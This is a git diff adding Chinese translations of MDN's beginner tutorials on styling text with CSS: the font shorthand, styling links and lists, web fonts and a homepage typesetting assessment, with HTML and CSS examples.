许多字体的属性也可以通过 {{cssxref("font")}} 的简写方式来设置 . 这些是按照以下顺序来写的:  {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, and {{cssxref("font-family")}}.

+ +

如果你想要使用 font 的简写形式,在所有这些属性中,只有 font-size 和 font-family 是一定要指定的。

+ +

{{cssxref("font-size")}} 和 {{cssxref("line-height")}} 属性之间必须放一个正斜杠。

+ +

一个完整的例子如下所示:

+ +
font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;
+ +

动手练习: 使用样式文本

+ +

在这个动手练习中,我们没有任何具体的练习来做:我们只是希望你和一些字体/文本布局属性相处地愉快,看看你可以制作什么!你可以使用离线HTML / CSS文件进行此操作,也可以将代码输入到下面的实时可编辑示例中。

+ +

如果你犯了错误,你可以使用 Reset 按钮来复原。

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 800) }}

+ +

小结

+ +

我们希望你在本篇文章中享受与文本在一起的时光!下篇文章会介绍所有你需要知道的关于 HTML 列表的样式。

+ +

{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}

diff --git a/files/zh-cn/learn/css/styling_text/index.html b/files/zh-cn/learn/css/styling_text/index.html new file mode 100644 index 0000000000..ec4822b9ad --- /dev/null +++ b/files/zh-cn/learn/css/styling_text/index.html @@ -0,0 +1,54 @@ +--- +title: 为文本添加样式(样式化文本) +slug: Learn/CSS/为文本添加样式 +tags: + - CSS + - 代码脚步 + - 列表lists + - 初学者 + - 字体Fonts + - 字母letter + - 文字font + - 文本Text + - 模块化Module + - 网络字体 web fonts + - 行line + - 链接Links + - 阴影shadow +translation_of: Learn/CSS/Styling_text +--- +
{{LearnSidebar}}
+ +

掌握了 CSS 语言的基础之后,对于您来说,下一个需要关心的 CSS 主题就是为文本添加样式——一个您将会最经常使用 CSS 做的事情。在这里,我们专注于为文本样式的基础,包括设置字体、粗细、斜体、行还有字符间距、阴影以及文本的其他特征。我们将会通过在您的网页中应用自定义字体、样式化列表以及链接来圆满地结束本模块。

+ +

前提

+ +

在开始这一模块之前,您应当像 HTML 介绍 模块中所探讨的,已经熟悉了基本的HTML,以及像 CSS 介绍 中所详述的,对自己的 CSS 基础感觉还满意。

+ +
+

注意: 如果您所使用的是不能创建自己的文件的电脑、平板电脑或其他设备的话,您可以在一个在线编码程序 JSBin 或 Thimble 中尝试(大部分的)代码例子。

+
+ +

导引

+ +

这个模块包括了以下文章,这些文章将教会您所有的基本功以支持您为 HTML 文本内容添加样式。

+ +
+
基本的文本以及字体样式
+
在本文章中,我们将通篇了解文本、字体样式的所有基础,包括设置字体粗细( font weight )、字体系列及样式( family and style )、字体缩写( font shorthand )、文本排列( text alignment )和其他的效果,还有行( line )以及字符间距( letter spacing )。
+
样式化列表
+
对于大部分内容来说,列表的行为表现跟其他任何文本其实差不多,但您也需要了解还有一些专门用于列表的 CSS 样式以及考虑一些最好的实践方式。本文章将阐释这一切。
+
样式化链接
+
当您为链接添加样式时,很重要的一点是要去理解怎样有效地使用伪类去修饰链接的状态,以及怎么去修饰不同的接口功能例如导航菜单和面板中所使用的链接。我们将会在这篇文章中讨论这些话题。
+
网络字体
+
在这里我们将会详细地探索网络字体——这会允许您与您的网页一同下载自定义字体,来实现更为不同的个性化字体样式。
+
+ +

评估

+ +

以下的评估将会评测您对以上导引所涵盖的为文本添加样式的技术的理解。

+ +
+
对一个社区学校的主页进行排版
+
在这个评估中,我们通过让您为一个社区学校的主页添加文本样式来测试您对文本样式的理解程度。
+
diff --git a/files/zh-cn/learn/css/styling_text/styling_links/index.html b/files/zh-cn/learn/css/styling_text/styling_links/index.html new file mode 100644 index 0000000000..df2e7c6093 --- /dev/null +++ b/files/zh-cn/learn/css/styling_text/styling_links/index.html @@ -0,0 +1,431 @@ +--- +title: 样式化链接 +slug: Learn/CSS/为文本添加样式/Styling_links +tags: + - 伪类 + - 悬浮 + - 标签 + - 聚焦 + - 菜单 + - 超链接 + - 链接 +translation_of: Learn/CSS/Styling_text/Styling_links +--- +
+

{{LearnSidebar}}

+ +

{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

+
+ +

当为 links 添加样式时, 理解利用伪类有效地建立链接状态是很重要的,以及如何为链接添加样式来实现常用的功能,比如说导航栏、选项卡。我们将在本文中关注所有这些主题。

+ + + + + + + + + + + + +
学习本章节的前提:基本的计算机使用能力,HTML 基础 (学习 Introduction to HTML), CSS 基础 (学习 Introduction to CSS), CSS text and font fundamentals.
目的:学习如何将样式应用到链接状态,以及如何使用链接实现常见的 UI 功能,比如导航菜单。
+ +

让我们来看一些链接

+ +

根据最佳实践  创建超链接 中的练习,我们看到了如何在你的 HTML 中实现链接。在本篇文章中,我们会以这个知识为基础,向你展示将样式应用到链接的最佳实践。

+ +

链接状态

+ +

第一件需要理解的事情是链接状态的概念,链接存在时处于不同的状态,每一个状态都可以用对应的 伪类 来应用样式:

+ + + +

默认的样式

+ +

下面的例子说明了一个链接的默认行为表现 (这里的 CSS 仅仅是为了放大和居中文本,使内容更加突出)

+ +
<p><a href="https://mozilla.org">A link to the Mozilla homepage</a></p>
+
+ +
p {
+  font-size: 2rem;
+  text-align: center;
+}
+ +

{{ EmbedLiveSample('默认的样式', '100%', 120) }}

+ +

当你观察默认样式的时候,你也许会注意到一些东西:

+ + + +

有趣的是,这些默认的样式与20世纪90年代中期浏览器早期的风格几乎相同。这是因为用户知道以及期待链接就是这样变化的,如果链接的样式不同,就会让一些人感到奇怪。不过这不意味着你不应该为链接添加任何样式,只是你的样式不应该与用户预期的相差太大,你应该至少:

+ + + +
+

注意: 你不仅仅只限于上述属性来把样式应用到你的链接上,你可以用任何你喜欢的属性,就是不要搞得太疯狂!

+
+ +

将样式应用到一些链接

+ +

现在我们已经详细地看了默认的状态,让我们看一下典型的链接样式的设置。

+ +

开始之前,我们先写出我们的空规则集:

+ +
a {
+
+}
+
+
+a:link {
+
+}
+
+a:visited {
+
+}
+
+a:focus {
+
+}
+
+a:hover {
+
+}
+
+a:active {
+
+}
+ +

这几个规则的顺序是有意义的,因为链接的样式是建立在另一个样式之上的,比如,第一个规则的样式也会在后面的规则中生效,一个链接被激活 (activated) 的时候,它也是处于悬停 (hover) 状态的。如果你搞错了顺序,那么就可能不会产生正确的效果。要记住这个顺序,你可以尝试这样帮助记忆:LoVe Fears HAte.

+ +

现在让我们再添加一些信息,得到正确的样式:

+ +
body {
+  width: 300px;
+  margin: 0 auto;
+  font-size: 1.2rem;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
+  color: #265301;
+}
+
+a:visited {
+  color: #437A16;
+}
+
+a:focus {
+  border-bottom: 1px solid;
+  background: #BAE498;
+}
+
+a:hover {
+  border-bottom: 1px solid;
+  background: #CDFEAA;
+}
+
+a:active {
+  background: #265301;
+  color: #CDFEAA;
+}
+ +

这里还提供了一些示例HTML,供你应用CSS:

+ +
<p>There are several browsers available, such as <a href="https://www.mozilla.org/zh-CN/firefox/">Mozilla
+Firefox</a>, <a href="https://www.google.com/chrome/index.html">Google Chrome</a>, and
+<a href="https://www.microsoft.com/zh-CN/windows/microsoft-edge">Microsoft Edge</a>.</p>
+ +

把这两个放在一起,我们得到这样的结果:

+ +

{{ EmbedLiveSample('将样式应用到一些链接', '100%', 150) }}

+ +

那么我们在这里做了什么? 这个看起来肯定和默认的样式不同,但仍然提供了一个熟悉的体验,好让用户知道发生了什么:

+ + + +

动手练习: 为你的链接添加样式

+ +

在这个动手练习部分,我们希望你使用我们的空规则集,然后添加你自定义的规则,从而使链接看上去比较酷。发挥你的想象力,大胆地做吧。我们相信你可以想出一些更酷的东西,就像我们上面的例子一样。

+ +

如果你犯了错误,你都可以使用 Reset 按钮来重置。 如果你遇到了困难,可以按 Show solution 按钮来显示我们上文中的例子。

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 800) }}

+ +

在链接中包含图标

+ +

常见的做法是在链接中包含图标,使链接提供更多关于链接指向的内容的信息。让我们来看一个简单的例子,例子中为一个外部链接 (链接指向的不是本站,而是外部站点)。这样的图标通常看起来像一个指向盒子的小箭头,比如, 我们会使用icons8.com上的这个优秀的范例

+ +

让我们来看一些能给我们这个效果的 HTML 和 CSS。先是一些简单的等待你样式化的 HTML :

+ +
<p>For more information on the weather, visit our <a href="weather.html">weather page</a>,
+look at <a href="https://en.wikipedia.org/wiki/Weather">weather on Wikipedia</a>, or check
+out <a href="http://www.extremescience.com/weather.htm">weather on Extreme Science</a>.</p>
+ +

接着是 CSS:

+ +
body {
+  width: 300px;
+  margin: 0 auto;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
+  color: blue;
+}
+
+a:visited {
+  color: purple;
+}
+
+a:focus, a:hover {
+  border-bottom: 1px solid;
+}
+
+a:active {
+  color: red;
+}
+
+a[href*="http"] {
+  background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0;
+  background-size: 16px 16px;
+  padding-right: 19px;
+}
+ +

{{ EmbedLiveSample('在链接中包含图标', '100%', 150) }}

+ +

那么这里发生了什么? 我们将跳过大部分的 CSS,因为那些只是你之前看过的相同的信息。最后一条规则很有趣,这里,我们在外部链接上插入了一个自定义背景图片,这和上篇自定义列表项目符号文章的做法很像。这次,我们使用了 {{cssxref("background")}} 简写,而不是分别使用多个属性。我们设置了我们想要插入的图片的路径,指定了 no-repeat ,这样我们只插入了一次图片,然后指定位置为100%,使其出现在内容的右边,距离上方是0px。

+ +

我们也使用 {{cssxref("background-size")}} 来指定要显示的背景图像的大小,为了满足响应式网站设计的需要,在图标更大,需要再重新调整它的大小的时候,这样做是很有帮助的。但是,这仅适用于IE 9及更高版本。所以你如果需要支持那些老的浏览器,只能调整图像的原始大小,然后插入。

+ +

最后,我们在链接上设置 {{cssxref("padding-right")}} ,为背景图片留出空间,这样就不会让它和文本重叠了。

+ +

最后的问题,我们是如何只选中了外部链接的?如果你正确编写你的HTML链接 ,你应该只会在外部链接上使用绝对 URL,如果链接是链接你的站点的其他部分,那么使用相对链接是更加高效的。因此“http”文本应该只出现在外部链接上,为此我们可以使用一个属性选择器——a[href*="http"] ——选中 {{htmlelement("a")}} 元素,但是这样只会选中那些拥有 {{htmlattrxref("href","a")}} 属性,且属性的值包含 "http" 的 {{htmlelement("a")}}的元素。

+ +

就这样啦,尝试重新审视上面的动手练习部分,尝试这种新技术!

+ +
+

注意: 不要担心,如果你目前不熟悉 backgrounds 和 responsive web design ; 这些会在其他地方解释。

+
+ +

样式化链接为按钮

+ +

目前在本文中探索的用法也可以用在其他方面。比如,悬停 (hover) 的状态可以为不同的元素应用样式,不只是链接,你也许会想添加悬停状态的样式到段落、列表项、或者是其他东西。

+ +

此外,在某些情况下,链接通常会应用样式,使它看上去的效果和按钮差不多,一个网站导航菜单通常是标记为一个列表,列表中包含链接,这可以很容易地被设计为看起来像一组控制按钮或是选项卡,主要是用于让用户可以访问站点的其他部分,现在让我们来看一看。

+ +

首先,一些 HTML:

+ +
<ul>
+  <li><a href="#">Home</a></li><li><a href="#">Pizza</a></li><li><a href="#">Music</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland</a></li>
+</ul>
+ +

接着,是我们的 CSS:

+ +
body,html {
+  margin: 0;
+  font-family: sans-serif;
+}
+
+ul {
+  padding: 0;
+  width: 100%;
+}
+
+li {
+  display: inline;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  display: inline-block;
+  width: 19.5%;
+  margin-right: 0.625%;
+  text-align: center;
+  line-height: 3;
+  color: black;
+}
+
+li:last-child a {
+  margin-right: 0;
+}
+
+a:link, a:visited, a:focus {
+  background: yellow;
+}
+
+a:hover {
+  background: orange;
+}
+
+a:active {
+  background: red;
+  color: white;
+}
+ +

这给我们以下结果:

+ +

{{ EmbedLiveSample('样式化链接为按钮', '100%', 100) }}

+ +

让我们来解释一下这里发生了什么,主要是几个有趣的部分:

+ + + +
+

注意: 你也许会注意到 HTML 中的列表的每项内容都在同一行上,这是因为 inline-block 元素在页面上创建的空格换行符,就像几个字之间的空格,这样的空隙也许会破坏我们的水平导航菜单布局。所以我们删除了空格。你可以在  Fighting the space between inline block elements 找到有关此问题的更多信息(和解决方案)。

+
+ +

测试你的技巧!

+ +

你已经到了本文结尾,并且在我们的交互学习部分已经做了一些技巧测试。但是你在继续之前记住了最重要的信息了吗?你可以在模块末尾找到一个用于验证你已掌握知识的评估——见给一个社区大学的主页排版

+ +

这个评估测试了这个模块讨论到的所有知识,这样你可能在读下一篇文章之前想看一下它。

+ +

小结

+ +

我们希望本文为你提供有关链接的所有知识——目前!我们的样式文本模块中的最后一篇文章详细介绍了如何在你的网站上使用自定义字体,或者更熟悉网络字体。

+ +

{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

diff --git a/files/zh-cn/learn/css/styling_text/styling_lists/index.html b/files/zh-cn/learn/css/styling_text/styling_lists/index.html new file mode 100644 index 0000000000..075b457836 --- /dev/null +++ b/files/zh-cn/learn/css/styling_text/styling_lists/index.html @@ -0,0 +1,374 @@ +--- +title: 样式列表 +slug: Learn/CSS/为文本添加样式/Styling_lists +translation_of: Learn/CSS/Styling_text/Styling_lists +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}
+ +

List列表 大体上和其他文本一样,但是仍有一些你需要知道的特殊CSS属性,和一些可供参考的最佳实践,这篇文章将阐述这一切。

+ + + + + + + + + + + + +
前置知识:Basic computer literacy, HTML basics (study Introduction to HTML), CSS basics (study Introduction to CSS), 基本文本和字体样式.
目标:熟悉与列表相关的样式和最佳实践
+ +

一个简单的例子

+ +

首先,让我们看一个简单的例子。文章中我们将看到无序,有序和描述列表——它们都具有相似的样式特性,而某些特性却又各不相同。Github上有未加载样式的例子(也可以查看源码。)

+ +

例子中列表的HTML代码如下:

+ +
<h2>Shopping (unordered) list</h2>
+
+<p>Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.</p>
+
+<ul>
+  <li>Humous</li>
+  <li>Pitta</li>
+  <li>Green salad</li>
+  <li>Halloumi</li>
+</ul>
+
+<h2>Recipe (ordered) list</h2>
+
+<p>Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.</p>
+
+<ol>
+  <li>Toast pitta, leave to cool, then slice down the edge.</li>
+  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>Wash and chop the salad.</li>
+  <li>Fill pitta with salad, humous, and fried halloumi.</li>
+</ol>
+
+<h2>Ingredient description list</h2>
+
+<p>Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.</p>
+
+<dl>
+  <dt>Humous</dt>
+  <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd>
+  <dt>Pitta</dt>
+  <dd>A soft, slightly leavened flatbread.</dd>
+  <dt>Halloumi</dt>
+  <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd>
+  <dt>Green salad</dt>
+  <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd>
+</dl>
+ +

现在,如果你去到例子的展示页面,并使用浏览器开发者工具查看那些列表元素,你会注意到若干个默认的样式预设值:

+ + + +

处理列表间距

+ +

当您创建样式列表时,您需要调整样式,使其保持与周围元素相同的垂直间距(例如段落和图片,有时称为垂直节奏))和相互间的水平间距(您可以在 Github 上参考完成的样式示例 ,也可以找到源代码。)

+ +

用于文本样式和间距的CSS如下所示:

+ +
/* General styles */
+
+html {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 10px;
+}
+
+h2 {
+  font-size: 2rem;
+}
+
+ul,ol,dl,p {
+  font-size: 1.5rem;
+}
+
+li, p {
+  line-height: 1.5;
+}
+
+/* Description list styles */
+
+
+dd, dt {
+  line-height: 1.5;
+}
+
+dt {
+  font-weight: bold;
+}
+
+dd {
+  margin-bottom: 1.5rem;
+}
+
+ + + +

列表特定样式

+ +

现在我们来看一下列表的一般间距,我们来研究一些列表具有的特定属性。 我们从三个属性开始了解,这三个属性可以在 {{htmlelement("ul")}} 或  {{htmlelement("ol")}} 元素上设置:

+ + + +

符号样式

+ +

像上面所提及的, {{cssxref("list-style-type")}}  属性允许你设置项目符号点的类型,在我们的例子中,我们在有序列表上设置了大写罗马数字:

+ +
ol {
+  list-style-type: upper-roman;
+}
+ +

效果显示如下:

+ +

an ordered list with the bullet points set to appear outside the list item text.

+ +

您可以通过  {{cssxref("list-style-type")}}  参考页面查找到更多选项。

+ +

项目符号位置

+ +

{{cssxref("list-style-position")}} 设置在每个项目开始之前,项目符号是出现在列表项内,还是出现在其外。 如上所示,默认值为 outside,这使项目符号位于列表项之外。

+ +

如果值设置为 inside,项目条目则位于行内。

+ +
ol {
+  list-style-type: upper-roman;
+  list-style-position: inside;
+}
+ +

an ordered list with the bullet points set to appear inside the list item text.

+ +

使用自定义的项目符号图片

+ +

{{cssxref("list-style-image")}} 属性允许对于项目符号使用自定义图片。其语法相当简单:

+ +
ul {
+  list-style-image: url(star.svg);
+}
+ +

然而,这个属性在控制项目符号的位置,大小等方面是有限的。 您最好使用{{cssxref("background")}} 系列属性,您将在 Styling boxes 模块中了解更多信息。在这里我们仅做一点尝试!

+ +

结束我们的例子,我们样式化无序列表像这样(放到您之前所见的顶部):

+ +
ul {
+  padding-left: 2rem;
+  list-style-type: none;
+}
+
+ul li {
+  padding-left: 2rem;
+  background-image: url(star.svg);
+  background-position: 0 0;
+  background-size: 1.6rem 1.6rem;
+  background-repeat: no-repeat;
+}
+ +

我们的所做如下:

+ + + +

效果显示如下:

+ +

an unordered list with the bullet points set as little star images

+ +

list-style 速记

+ +

上述提到的三种属性可以用一个单独的速记属性 {{cssxref("list-style")}} 来设置。例如:

+ +
ul {
+  list-style-type: square;
+  list-style-image: url(example.png);
+  list-style-position: inside;
+}
+ +

可以被如下方式代替:

+ +
ul {
+  list-style: square url(example.png) inside;
+}
+ +

属性值可以任意顺序排列,你可以设置一个,两个或者三个值(该属性的默认值为 disc, none, outside),如果指定了 type 和 image,如果由于某种原因导致图像无法加载,则 type 将用作回退。

+ +

管理列表计数

+ +

有时,您可能想在有序列表上进行不同的计数方式。例如: 从1以外的数字开始,或向后倒数,或者按步或多于1计数。HTML和CSS有一些工具可以帮助您

+ +

start

+ +

{{htmlattrxref("start","ol")}} 属性允许你从1 以外的数字开始计数。示例如下:

+ +
<ol start="4">
+  <li>Toast pitta, leave to cool, then slice down the edge.</li>
+  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>Wash and chop the salad.</li>
+  <li>Fill pitta with salad, humous, and fried halloumi.</li>
+</ol>
+ +

输出的结果如下:

+ +

{{ EmbedLiveSample('start', '100%', 150) }}

+ +

reversed

+ +

{{htmlattrxref("reversed","ol")}} 属性将启动列表倒计数。示例如下:

+ +
<ol start="4" reversed>
+  <li>Toast pitta, leave to cool, then slice down the edge.</li>
+  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>Wash and chop the salad.</li>
+  <li>Fill pitta with salad, humous, and fried halloumi.</li>
+</ol>
+ +

输出的结果如下:

+ +

{{ EmbedLiveSample('reversed', '100%', 150) }}

+ +

value

+ +

{{htmlattrxref("value","ol")}} 属性允许设置列表项指定数值,示例如下:

+ +
<ol>
+  <li value="2">Toast pitta, leave to cool, then slice down the edge.</li>
+  <li value="4">Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li value="6">Wash and chop the salad.</li>
+  <li value="8">Fill pitta with salad, humous, and fried halloumi.</li>
+</ol>
+ +

输出的结果如下:

+ +

{{ EmbedLiveSample('value', '100%', 150) }}

+ +
+

注意: 纵然你使用非数字的 {{cssxref("list-style-type")}}, 你仍需要使用与数值同等意义的值作为 value 的属性。

+
+ +

主动学习: 为嵌套式列表添加样式

+ +

在该学习环节,我们希望你使用如上所学尝试为一个嵌套式列表添加样式。我们已经提供了 HTML , 在此之上请完成如下:

+ +
    +
  1. 为该无序列表提供方形项目符号。
  2. +
  3. 为该无序列表项和有序列表项提供基于其字体大小 1.5 的行高。
  4. +
  5. 为有序列表提供小写字母的项目符号。
  6. +
  7. 对列表进行自由发挥,尝试不同的项目符号类型,间距,以及其他的各种属性。
  8. +
+ +

如果犯了错误,可以随时点击 Reset(重置) 按钮进行重新设置。如果你真的遇到困难无法继续下去,点击 Show solution(显示解决方案)按钮查看可行的解决方案。

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 800) }}

+ +

另请参阅

+ +

CSS计数器提供用于自定义列表计数和样式的高级工具,但它们相当复杂。 如果你想更深入了解,请查看如下资源:

+ + + +

总结

+ +

一旦你掌握一些相关的基础原则和特定属性,列表的样式还是相对容易理解的。在下篇文章中我们将转到另一话题——为链接提供样式的各种技巧。

+ +

{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}

diff --git a/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html b/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html new file mode 100644 index 0000000000..98f86f125f --- /dev/null +++ b/files/zh-cn/learn/css/styling_text/typesetting_a_homepage/index.html @@ -0,0 +1,119 @@ +--- +title: 作业:排版社区大学首页 +slug: Learn/CSS/为文本添加样式/Typesetting_a_homepage +tags: + - CSS + - 初学者 + - 字体 + - 样式化文本 + - 网络字体 + - 链接 +translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}
+ +

在本测评中,通过对社区学校主页的文本样式化,我们会测试你对所有本模块涉及到的文本样式化技术的理解。你或许也会从中获得乐趣。

+ + + + + + + + + + + + +
预备条件:在本次测评前,你应该完成了本模块所有章节。
目标:测试对CSS文本样式化技术的理解。
+ +

开始

+ +

在本测评开始前,你应该:

+ + + +
+

注意: 或者,你可以使用像 JSBin 或 Thimble 的网站完成你的测评。你可以把HTML和CSS粘贴到在线编辑器中,并使用this URL指定背景图像。如果你使用的在线编辑器没有单独的CSS面板,你可以将其放在HTML文件的<style>元素中。

+
+ +

项目简介

+ +

你有一个虚构的社区大学主页的未处理HTML文件和一些CSS文件。这些CSS文件把网页分成两栏布局,提供了一些简单的样式化。你将在CSS文件底部的comment下写你的CSS,这样可以方便地标出你的工作。不要担心选择器一直重复;我们会帮你跳过这个问题。

+ +

字体:

+ + + +

文本样式化基础:

+ + + +

链接:

+ + + +

列表:

+ + + +

导航栏菜单:

+ + + +

提示与技巧

+ + + +

实例

+ +

下图展示了其中一种设计完成后的例子。

+ +

+ +

测评

+ +

如果你将本测评作为课程的一部分,你应该能够将你的作品交给你的老师/指导员打分。如果你是自学的,你可以很轻松地在discussion thread for this exercise,或者Mozilla IRC#mdn IRC 频道上获得打分。先尝试完成本次练习——作弊是学不到任何东西的!

+ +

{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

+ +

在本单元中

+ + diff --git a/files/zh-cn/learn/css/styling_text/web_fonts/index.html b/files/zh-cn/learn/css/styling_text/web_fonts/index.html new file mode 100644 index 0000000000..ad9691cb00 --- /dev/null +++ b/files/zh-cn/learn/css/styling_text/web_fonts/index.html @@ -0,0 +1,186 @@ +--- +title: Web 字体 +slug: Learn/CSS/为文本添加样式/Web_字体 +translation_of: Learn/CSS/Styling_text/Web_fonts +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}
+ +

在模块的第一篇文章中,我们探讨了用于样式化字体和文本的基本CSS特性。在这篇文章中,我们将更进一步,详细地探索web字体——它们允许您下载自定义字体和您的web页面,以允许更多不同的、自定义的文本样式。

+ + + + + + + + + + + + +
预备知识:基本计算机素养,HTML 基础 (学习 Introduction to HTML), CSS 基础 (学习Introduction to CSS), CSS文本和字体基础
目标:学习如何将web字体应用到web页面,使用第三方服务,或者编写自己的代码。
+ +

字体种类回顾

+ +

正如我们在基本文本和字体样式中所看到的那样,应用到您的HTML的字体可以使用 {{cssxref("font-family")}}属性来控制。您需要提供一个或多个字体种类名称,浏览器会在列表中搜寻,直到找到它所运行的系统上可用的字体。

+ +
p {
+  font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif;
+}
+ +

这个系统运行良好,但是对于传统的web开发人员来说,字体选择是有限的。只有少数几种字体可以保证兼容所有流行的操作系统——这就是所谓的 Web-safe 字体。您可以使用字体堆栈来指定可选择的字体,后面是Web-safe的替代选项,然后是默认的系统字体,但是为了确保您的设计在每种字体中都显示正常,这样增加了测试的开销。

+ +

Web 字体

+ +

但是还有一种选择,它非常有效,回到IE版本6。Web字体是一种CSS特性,允许您指定在访问时随您的网站一起下载的字体文件,这意味着任何支持Web字体的浏览器都可以使用您指定的字体。太酷啦!所需的语法如下所示:

+ +

首先,在CSS的开始处有一个{{cssxref("@font-face")}}块,它指定要下载的字体文件:

+ +
@font-face {
+  font-family: "myFont";
+  src: url("myFont.ttf");
+}
+
+ +

在这个下面,你可以使用@font-face中指定的字体种类名称来将你的定制字体应用到你喜欢的任何东西上,比如说:

+ +
html {
+  font-family: "myFont", "Bitstream Vera Serif", serif;
+}
+ +

语法确实比这更复杂,下面我们将详细介绍。

+ +

关于网页字体有两件重要的事情要记住:

+ +
    +
  1. 浏览器支持不同的字体格式,因此您需要多种字体格式以获得良好的跨浏览器支持。例如,大多数现代浏览器都支持WOFF / WOFF2(Web Open Font Format versions 1 and 2,Web开放字体格式版本1和2),它是最有效的格式,但是旧版本IE只支持EOT (Embedded Open Type,嵌入式开放类型)的字体,你可能需要包括一个SVG版本的字体支持旧版本的iPhone和Android浏览器。我们将向您展示如何生成所需的代码。
  2. +
  3. 字体一般都不能自由使用。您必须为他们付费,或者遵循其他许可条件,比如在代码中(或者在您的站点上)提供字体创建者。你不应该在没有适当的授权的情况下偷窃字体。
  4. +
+ +
+

注意: Web字体作为一种技术从 Internet Explorer 4 开始就得到了的支持!

+
+ +

自主学习:web字体示例

+ +

记住这一点,让我们从最初的原则构建一个基本的web字体示例。使用嵌入的live示例很难演示这一点,因此,我们希望您按照下面几节中详细介绍的步骤来了解这个过程。

+ +

你应该使用 web-font-start.htmlweb-font-start.css 文件作为开始添加到你的代码中(又见预览版。)现在,在你的电脑上的一个新目录中复制这些文件。在 web-font-start.css文件中,您将找到一些最小的CSS来处理这个示例的基本布局和排版。

+ +

查找字体

+ +

对于本例,我们将使用两种web字体,一种用于标题,另一种用于正文文本。首先,我们需要找到包含字体的字体文件。字体是由字体铸造厂创建的,并且存储在不同的文件格式中。
+ 通常有三种类型的网站可以获得字体:

+ + + +

让我们找到一些字体!前往Font Squirrel 并选择两种字体——一种用于标题的有趣的字体(可能是一种不错的显示字体或无衬线字体),和一种用于段落,稍微不那么华丽,更易于阅读的字体。当您找到每种字体时,按下下载按钮,并将该文件保存在与您先前保存的HTML和CSS文件相同的目录中。无论它们是TTF(True Type Fonts))还是OTF(Open Type字体)都不重要。

+ +

在每种情况下,都要解压字体包(Web字体通常分布在包含字体文件和许可信息的ZIP文件中。)您可能会在包中发现多个字体文件,一些字体是作为一个具有不同变体的家庭分布的,例如,瘦、中、粗体、斜体、斜体等等。对于这个例子,我们只是想让您自己考虑一个单一的字体文件。

+ +
+

注意: 在右边栏的“查找字体”部分中,您可以单击不同的标记和分类来筛选显示的选项。

+
+ +

生成所需代码

+ +

现在您需要生成所需的代码(以及字体格式)。对于每种字体,遵循以下步骤:

+ +
    +
  1. 确保您已经满足了任何许可证的要求,如果您打算在一个商业和/或Web项目中使用它。
  2. +
  3. 前往 Fontsquirrel Webfont Generator.
  4. +
  5. 使用上传字体按钮上传你的两个字体文件。
  6. +
  7. 勾选复选框,“是的,我上传的字体符合网络嵌入的合法条件。
  8. +
  9. 点击下载你的套件(kit)。
  10. +
+ +

在生成器完成处理之后,您应该得到一个ZIP文件,将它保存在与HTML和CSS相同的目录中。

+ +

在演示中实现代码

+ +

在这一点上解压您刚刚生成的webfont套件。在解压的目录中,您将看到三个有用的条目:

+ + + +

要在演示中实现这些字体,请遵循以下步骤:

+ +
    +
  1. 将解压缩的目录重命名为简易的目录,比如fonts
  2. +
  3. 打开 stylesheet.css 文件,把包含在你的网页中的 @font-face块复制到你的 web-font-start.css 文件—— 你需要把它们放在最上面,在你的CSS之前,因为字体需要导入才能在你的网站上使用。
  4. +
  5. 每个url()函数指向一个我们想要导入到我们的CSS中的字体文件——我们需要确保文件的路径是正确的,因此,在每个路径的开头添加fonts/ (必要时进行调整)。
  6. +
  7. 现在,您可以在字体栈中使用这些字体,就像任何web安全或默认的系统字体一样。
    + 例如: +
    font-family: 'zantrokeregular', serif;
    +
  8. +
+ +

你应该得到一个演示页面,上面有一些漂亮的字体。因为不同字体的字体大小不同,你可能需要调整大小、间距等,以区分外观和感觉。

+ +

+ +
+

